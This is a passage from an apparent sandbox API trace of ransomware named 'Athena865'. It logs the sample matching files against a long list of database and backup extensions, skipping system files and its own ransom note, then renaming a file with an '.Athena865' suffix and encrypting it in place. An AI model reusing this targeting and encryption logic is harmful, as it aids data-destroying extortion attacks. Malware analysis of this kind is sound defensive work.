(lpString="sqlite3") returned 7 [0036.277] lstrcmpiW (lpString1="rter.ax", lpString2="sqlite3") returned -1 [0036.277] lstrlenW (lpString="sqlitedb") returned 8 [0036.277] lstrcmpiW (lpString1="erter.ax", lpString2="sqlitedb") returned -1 [0036.277] lstrlenW (lpString="xml") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0036.277] lstrlenW (lpString="$er") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0036.277] lstrlenW (lpString="4dd") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0036.277] lstrlenW (lpString="4dl") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0036.277] lstrlenW (lpString="^^^") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0036.277] lstrlenW (lpString="abs") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0036.277] lstrlenW (lpString="abx") returned 3 [0036.277] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0036.277] lstrlenW (lpString="accdb") returned 5 [0036.277] lstrcmpiW (lpString1="er.ax", lpString2="accdb") returned 1 [0036.277] lstrlenW (lpString="accdc") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accdc") returned 1 [0036.278] lstrlenW (lpString="accde") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accde") returned 1 [0036.278] lstrlenW (lpString="accdr") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accdr") returned 1 [0036.278] lstrlenW (lpString="accdt") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accdt") returned 1 [0036.278] lstrlenW (lpString="accdw") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accdw") returned 1 [0036.278] lstrlenW (lpString="accft") returned 5 [0036.278] lstrcmpiW (lpString1="er.ax", lpString2="accft") returned 1 [0036.278] lstrlenW (lpString="adb") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.278] lstrlenW (lpString="adb") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.278] lstrlenW (lpString="ade") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0036.278] lstrlenW (lpString="adf") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0036.278] lstrlenW (lpString="adn") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0036.278] lstrlenW (lpString="adp") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0036.278] lstrlenW (lpString="alf") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0036.278] lstrlenW (lpString="ask") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0036.278] lstrlenW (lpString="btr") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0036.278] lstrlenW (lpString="cat") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0036.278] lstrlenW (lpString="cdb") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0036.278] lstrlenW (lpString="ckp") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0036.278] lstrlenW (lpString="cma") returned 3 [0036.278] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0036.278] lstrlenW (lpString="cpd") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0036.279] lstrlenW (lpString="dacpac") returned 6 [0036.279] lstrcmpiW (lpString1="ter.ax", lpString2="dacpac") returned 1 [0036.279] lstrlenW (lpString="dad") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0036.279] lstrlenW (lpString="dadiagrams") returned 10 [0036.279] lstrcmpiW (lpString1="nverter.ax", lpString2="dadiagrams") returned 1 [0036.279] lstrlenW (lpString="daschema") returned 8 [0036.279] lstrcmpiW (lpString1="erter.ax", lpString2="daschema") returned 1 [0036.279] lstrlenW (lpString="db-journal") returned 10 [0036.279] lstrcmpiW (lpString1="nverter.ax", lpString2="db-journal") returned 1 [0036.279] lstrlenW (lpString="db-shm") returned 6 [0036.279] lstrcmpiW (lpString1="ter.ax", lpString2="db-shm") returned 1 [0036.279] lstrlenW (lpString="db-wal") returned 6 [0036.279] lstrcmpiW (lpString1="ter.ax", lpString2="db-wal") returned 1 [0036.279] lstrlenW (lpString="dbc") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0036.279] lstrlenW (lpString="dbs") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0036.279] lstrlenW (lpString="dbt") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0036.279] lstrlenW (lpString="dbv") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0036.279] lstrlenW (lpString="dbx") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0036.279] lstrlenW (lpString="dcb") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0036.279] lstrlenW (lpString="dct") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0036.279] lstrlenW (lpString="dcx") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0036.279] lstrlenW (lpString="ddl") returned 3 [0036.279] lstrcmpiW (lpString1=".ax", lpString2="ddl") returned -1 [0036.279] lstrlenW (lpString="dlis") returned 4 [0036.279] lstrcmpiW (lpString1="r.ax", lpString2="dlis") returned 1 [0036.279] lstrlenW (lpString="dp1") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="dp1") returned -1 [0036.280] lstrlenW (lpString="dqy") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="dqy") returned -1 [0036.280] lstrlenW (lpString="dsk") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="dsk") returned -1 [0036.280] lstrlenW (lpString="dsn") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="dsn") returned -1 [0036.280] lstrlenW (lpString="dtsx") returned 4 [0036.280] lstrcmpiW (lpString1="r.ax", lpString2="dtsx") returned 1 [0036.280] lstrlenW (lpString="dxl") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="dxl") returned -1 [0036.280] lstrlenW (lpString="eco") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="eco") returned -1 [0036.280] lstrlenW (lpString="ecx") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="ecx") returned -1 [0036.280] lstrlenW (lpString="edb") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="edb") returned -1 [0036.280] lstrlenW (lpString="epim") returned 4 [0036.280] lstrcmpiW (lpString1="r.ax", lpString2="epim") returned 1 [0036.280] lstrlenW (lpString="fcd") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fcd") returned -1 [0036.280] lstrlenW (lpString="fdb") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fdb") returned -1 [0036.280] lstrlenW (lpString="fic") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fic") returned -1 [0036.280] lstrlenW (lpString="flexolibrary") returned 12 [0036.280] lstrcmpiW (lpString1="converter.ax", lpString2="flexolibrary") returned -1 [0036.280] lstrlenW (lpString="fm5") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fm5") returned -1 [0036.280] lstrlenW (lpString="fmp") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fmp") returned -1 [0036.280] lstrlenW (lpString="fmp12") returned 5 [0036.280] lstrcmpiW (lpString1="er.ax", lpString2="fmp12") returned -1 [0036.280] lstrlenW (lpString="fmpsl") returned 5 [0036.280] lstrcmpiW (lpString1="er.ax", lpString2="fmpsl") returned -1 [0036.280] lstrlenW (lpString="fol") returned 3 [0036.280] lstrcmpiW (lpString1=".ax", lpString2="fol") returned -1 [0036.281] lstrlenW (lpString="fp3") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="fp3") returned -1 [0036.281] lstrlenW (lpString="fp4") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="fp4") returned -1 [0036.281] lstrlenW (lpString="fp5") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="fp5") returned -1 [0036.281] lstrlenW (lpString="fp7") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="fp7") returned -1 [0036.281] lstrlenW (lpString="fpt") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="fpt") returned -1 [0036.281] lstrlenW (lpString="frm") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="frm") returned -1 [0036.281] lstrlenW (lpString="gdb") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0036.281] lstrlenW (lpString="gdb") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0036.281] lstrlenW (lpString="grdb") returned 4 [0036.281] lstrcmpiW (lpString1="r.ax", lpString2="grdb") returned 1 [0036.281] lstrlenW (lpString="gwi") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="gwi") returned -1 [0036.281] lstrlenW (lpString="hdb") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="hdb") returned -1 [0036.281] lstrlenW (lpString="his") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="his") returned -1 [0036.281] lstrlenW (lpString="ib") returned 2 [0036.281] lstrcmpiW (lpString1="ax", lpString2="ib") returned -1 [0036.281] lstrlenW (lpString="idb") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="idb") returned -1 [0036.281] lstrlenW (lpString="ihx") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="ihx") returned -1 [0036.281] lstrlenW (lpString="itdb") returned 4 [0036.281] lstrcmpiW (lpString1="r.ax", lpString2="itdb") returned 1 [0036.281] lstrlenW (lpString="itw") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="itw") returned -1 [0036.281] lstrlenW (lpString="jet") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="jet") returned -1 [0036.281] lstrlenW (lpString="jtx") returned 3 [0036.281] lstrcmpiW (lpString1=".ax", lpString2="jtx") returned -1 [0036.282] lstrlenW (lpString="kdb") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="kdb") returned -1 [0036.282] lstrlenW (lpString="kexi") returned 4 [0036.282] lstrcmpiW (lpString1="r.ax", lpString2="kexi") returned 1 [0036.282] lstrlenW (lpString="kexic") returned 5 [0036.282] lstrcmpiW (lpString1="er.ax", lpString2="kexic") returned -1 [0036.282] lstrlenW (lpString="kexis") returned 5 [0036.282] lstrcmpiW (lpString1="er.ax", lpString2="kexis") returned -1 [0036.282] lstrlenW (lpString="lgc") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="lgc") returned -1 [0036.282] lstrlenW (lpString="lwx") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="lwx") returned -1 [0036.282] lstrlenW (lpString="maf") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="maf") returned -1 [0036.282] lstrlenW (lpString="maq") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="maq") returned -1 [0036.282] lstrlenW (lpString="mar") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mar") returned -1 [0036.282] lstrlenW (lpString="marshal") returned 7 [0036.282] lstrcmpiW (lpString1="rter.ax", lpString2="marshal") returned 1 [0036.282] lstrlenW (lpString="mas") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mas") returned -1 [0036.282] lstrlenW (lpString="mav") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mav") returned -1 [0036.282] lstrlenW (lpString="maw") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="maw") returned -1 [0036.282] lstrlenW (lpString="mdbhtml") returned 7 [0036.282] lstrcmpiW (lpString1="rter.ax", lpString2="mdbhtml") returned 1 [0036.282] lstrlenW (lpString="mdn") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mdn") returned -1 [0036.282] lstrlenW (lpString="mdt") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mdt") returned -1 [0036.282] lstrlenW (lpString="mfd") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mfd") returned -1 [0036.282] lstrlenW (lpString="mpd") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mpd") returned -1 [0036.282] lstrlenW (lpString="mrg") returned 3 [0036.282] lstrcmpiW (lpString1=".ax", lpString2="mrg") returned -1 [0036.283] lstrlenW (lpString="mud") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="mud") returned -1 [0036.283] lstrlenW (lpString="mwb") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="mwb") returned -1 [0036.283] lstrlenW (lpString="myd") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="myd") returned -1 [0036.283] lstrlenW (lpString="ndf") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="ndf") returned -1 [0036.283] lstrlenW (lpString="nnt") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="nnt") returned -1 [0036.283] lstrlenW (lpString="nrmlib") returned 6 [0036.283] lstrcmpiW (lpString1="ter.ax", lpString2="nrmlib") returned 1 [0036.283] lstrlenW (lpString="ns2") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="ns2") returned -1 [0036.283] lstrlenW (lpString="ns3") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="ns3") returned -1 [0036.283] lstrlenW (lpString="ns4") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="ns4") returned -1 [0036.283] lstrlenW (lpString="nsf") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="nsf") returned -1 [0036.283] lstrlenW (lpString="nv") returned 2 [0036.283] lstrcmpiW (lpString1="ax", lpString2="nv") returned -1 [0036.283] lstrlenW (lpString="nv2") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="nv2") returned -1 [0036.283] lstrlenW (lpString="nwdb") returned 4 [0036.283] lstrcmpiW (lpString1="r.ax", lpString2="nwdb") returned 1 [0036.283] lstrlenW (lpString="nyf") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="nyf") returned -1 [0036.283] lstrlenW (lpString="odb") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0036.283] lstrlenW (lpString="odb") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0036.283] lstrlenW (lpString="oqy") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="oqy") returned -1 [0036.283] lstrlenW (lpString="ora") returned 3 [0036.283] lstrcmpiW (lpString1=".ax", lpString2="ora") returned -1 [0036.284] lstrlenW (lpString="orx") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="orx") returned -1 [0036.284] lstrlenW (lpString="owc") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="owc") returned -1 [0036.284] lstrlenW (lpString="p96") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="p96") returned -1 [0036.284] lstrlenW (lpString="p97") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="p97") returned -1 [0036.284] lstrlenW (lpString="pan") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="pan") returned -1 [0036.284] lstrlenW (lpString="pdb") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="pdb") returned -1 [0036.284] lstrlenW (lpString="pdm") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="pdm") returned -1 [0036.284] lstrlenW (lpString="pnz") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="pnz") returned -1 [0036.284] lstrlenW (lpString="qry") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="qry") returned -1 [0036.284] lstrlenW (lpString="qvd") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="qvd") returned -1 [0036.284] lstrlenW (lpString="rbf") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="rbf") returned -1 [0036.284] lstrlenW (lpString="rctd") returned 4 [0036.284] lstrcmpiW (lpString1="r.ax", lpString2="rctd") returned -1 [0036.284] lstrlenW (lpString="rod") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="rod") returned -1 [0036.284] lstrlenW (lpString="rodx") returned 4 [0036.284] lstrcmpiW (lpString1="r.ax", lpString2="rodx") returned -1 [0036.284] lstrlenW (lpString="rpd") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="rpd") returned -1 [0036.284] lstrlenW (lpString="rsd") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="rsd") returned -1 [0036.284] lstrlenW (lpString="sas7bdat") returned 8 [0036.284] lstrcmpiW (lpString1="erter.ax", lpString2="sas7bdat") returned -1 [0036.284] lstrlenW (lpString="sbf") returned 3 [0036.284] lstrcmpiW (lpString1=".ax", lpString2="sbf") returned -1 [0036.284] lstrlenW (lpString="scx") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="scx") returned -1 [0036.285] lstrlenW (lpString="sdb") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="sdb") returned -1 [0036.285] lstrlenW (lpString="sdc") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="sdc") returned -1 [0036.285] lstrlenW (lpString="sdf") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="sdf") returned -1 [0036.285] lstrlenW (lpString="sis") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="sis") returned -1 [0036.285] lstrlenW (lpString="spq") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="spq") returned -1 [0036.285] lstrlenW (lpString="te") returned 2 [0036.285] lstrcmpiW (lpString1="ax", lpString2="te") returned -1 [0036.285] lstrlenW (lpString="teacher") returned 7 [0036.285] lstrcmpiW (lpString1="rter.ax", lpString2="teacher") returned -1 [0036.285] lstrlenW (lpString="tmd") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="tmd") returned -1 [0036.285] lstrlenW (lpString="tps") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="tps") returned -1 [0036.285] lstrlenW (lpString="trc") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0036.285] lstrlenW (lpString="trc") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0036.285] lstrlenW (lpString="trm") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="trm") returned -1 [0036.285] lstrlenW (lpString="udb") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="udb") returned -1 [0036.285] lstrlenW (lpString="udl") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="udl") returned -1 [0036.285] lstrlenW (lpString="usr") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="usr") returned -1 [0036.285] lstrlenW (lpString="v12") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="v12") returned -1 [0036.285] lstrlenW (lpString="vis") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="vis") returned -1 [0036.285] lstrlenW (lpString="vpd") returned 3 [0036.285] lstrcmpiW (lpString1=".ax", lpString2="vpd") returned -1 [0036.285] lstrlenW (lpString="vvv") returned 3 [0036.286] lstrcmpiW (lpString1=".ax", lpString2="vvv") returned -1 [0036.286] lstrlenW (lpString="wdb") returned 3 [0036.286] lstrcmpiW (lpString1=".ax", lpString2="wdb") returned -1 [0036.286] lstrlenW (lpString="wmdb") returned 4 [0036.286] lstrcmpiW (lpString1="r.ax", lpString2="wmdb") returned -1 [0036.286] lstrlenW (lpString="wrk") returned 3 [0036.286] lstrcmpiW (lpString1=".ax", lpString2="wrk") returned -1 [0036.286] lstrlenW (lpString="xdb") returned 3 [0036.286] lstrcmpiW (lpString1=".ax", lpString2="xdb") returned -1 [0036.286] lstrlenW (lpString="xld") returned 3 [0036.286] lstrcmpiW (lpString1=".ax", lpString2="xld") returned -1 [0036.286] lstrlenW (lpString="xmlff") returned 5 [0036.286] lstrcmpiW (lpString1="er.ax", lpString2="xmlff") returned -1 [0036.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.Athena865") returned 59 [0036.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.athena865"), dwFlags=0x1) returned 1 [0036.287] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0036.287] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50688) returned 1 [0036.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.288] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.289] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.289] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.289] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc900, lpName=0x0) returned 0x17c [0036.294] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc900) returned 0x100000 [0036.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.297] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.297] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.298] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.298] CloseHandle (hObject=0x17c) returned 1 [0036.299] CloseHandle (hObject=0x154) returned 1 [0036.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0036.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.301] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".") returned 1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="..") returned 1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="windows") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="bootmgr") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="temp") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="pagefile.sys") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="boot") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="ids.txt") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="ntuser.dat") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="perflogs") returned -1 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2="MSBuild") returned -1 [0036.301] lstrlenW (lpString="bod_r.TTF") returned 9 [0036.301] lstrcpyW (in: lpString1=0x241e87e, lpString2="bod_r.TTF" | out: lpString1="bod_r.TTF") returned="bod_r.TTF" [0036.301] lstrlenW (lpString="bod_r.TTF") returned 9 [0036.301] lstrlenW (lpString="Athena865") returned 9 [0036.301] lstrlenW (lpString=".dll") returned 4 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".dll") returned 1 [0036.301] lstrlenW (lpString=".lnk") returned 4 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".lnk") returned 1 [0036.301] lstrlenW (lpString=".ini") returned 4 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".ini") returned 1 [0036.301] lstrlenW (lpString=".sys") returned 4 [0036.301] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".sys") returned 1 [0036.301] lstrlenW (lpString="bod_r.TTF") returned 9 [0036.301] lstrlenW (lpString="bak") returned 3 [0036.301] lstrcmpiW (lpString1="TTF", lpString2="bak") returned 1 [0036.301] lstrlenW (lpString="ba_") returned 3 [0036.301] lstrcmpiW (lpString1="TTF", lpString2="ba_") returned 1 [0036.301] lstrlenW (lpString="dbb") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="dbb") returned 1 [0036.302] lstrlenW (lpString="vmdk") returned 4 [0036.302] lstrcmpiW (lpString1=".TTF", lpString2="vmdk") returned -1 [0036.302] lstrlenW (lpString="rar") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="rar") returned 1 [0036.302] lstrlenW (lpString="zip") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="zip") returned -1 [0036.302] lstrlenW (lpString="tgz") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="tgz") returned 1 [0036.302] lstrlenW (lpString="vbox") returned 4 [0036.302] lstrcmpiW (lpString1=".TTF", lpString2="vbox") returned -1 [0036.302] lstrlenW (lpString="vdi") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="vdi") returned -1 [0036.302] lstrlenW (lpString="vhd") returned 3 [0036.302] lstrcmpiW (lpString1="TTF", lpString2="vhd") returned -1 [0036.302] lstrlenW (lpString="vhdx") returned 4 [0036.302] lstrcmpiW (lpString1=".TTF", lpString2="vhdx") returned -1 [0036.302] lstrlenW (lpString="avhd") returned 4 [0036.302] lstrcmpiW (lpString1=".TTF", lpString2="avhd") returned -1 [0036.302] lstrlenW (lpString="db") returned 2 [0036.302] lstrcmpiW 